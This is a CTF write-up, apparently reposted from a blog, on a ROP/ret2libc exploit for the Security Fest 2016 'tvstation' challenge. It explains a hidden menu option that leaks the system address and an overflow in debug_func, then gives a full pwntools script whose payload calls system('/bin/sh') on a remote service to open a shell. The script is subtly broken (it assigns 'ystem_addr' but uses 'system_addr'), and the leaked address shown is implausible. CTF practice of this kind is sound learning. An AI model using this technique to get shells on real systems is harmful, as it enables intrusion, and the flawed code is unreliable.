CTF Notes: ROP Technology

The CTF note cases mainly come from platforms such as UUCTF. The specific principles are understood through recurring cases and other related content. The content involved is relatively simple, and there are many related case articles, and the learning difficulty is relatively small. Through IDA checksec readelf and the dynamic GUI debugging tool EDB of the linux platform and other analysis program functions

Example: Security Fest CTF 2016-tvstation

The execution of the main program, we see the main execution function menu();

Execute the program, menu function module options, run the program and find that there are only 3 options in the menu, but actually there is option 4 in the IDA analysis.

And the debug() function in option 4 outputs the address of system in memory

Looking at the return value of the debug_func() function, there is obviously an overflow point.

The .text section (Section) belongs to the first LOAD segment (Segment). The file length of this segment is the same as the memory length, that is to say, all the codes are mapped into the memory as they are, and the relative offset between the codes is will not change. Since the previous PHDR and INTERP segments are also mapped as they are, the address offset between the first address of the system and the header of the file seen in IDA is the same as the offset at runtime

 

In this libc, the first address of the system function is 0x456a0, that is, 0x456a0 bytes from the beginning of the file arrive at the system function, and the address of the system system in the memory obtained by the debugger is 0x7f1a3887d98a0,

0x7f1a3887d98a0 - 0x456a0=7F1A388794200

There is a string in libc ”/bin/sh”, which is located in the .data section. According to the same principle, we can also know the offset of this string from the first address of libc

 There are also used to pass parametersgadget :pop rdi; ret

exp:

#!/usr/bin/python
#coding:utf-8
from pwn import *
io=remote('ip',port)
io.recvuntil(":")
io.sendline('4') #jump to hide options
io.recvuntil("@0x")
ystem_addr = int(io.recv(12), 16) #读取输出的system函数在内存中的地址#读取输出的system函数在内存中的地址
libc_start=system_addr-0x456a0 #根据偏移计算libc在内存中的首地址
pop_rdi_addr = libc_start + 0x1fd7a #pop rdi; ret 在内存中的地址,给system函数传参
binsh_addr = libc_start + 0x18ac40 #"/bin/sh"字符串在内存中的地址
payload = ""
payload += 'A'*40 #padding
payload += p64(pop_rdi_addr) #pop rdi; ret
payload += p64(binsh_addr) #system函数参数
payload += p64(system_addr) #调用system()执行system("/bin/sh")
io.sendline(payload)
io.interactive()

Guess you like

Origin blog.csdn.net/qq_37431937/article/details/124854387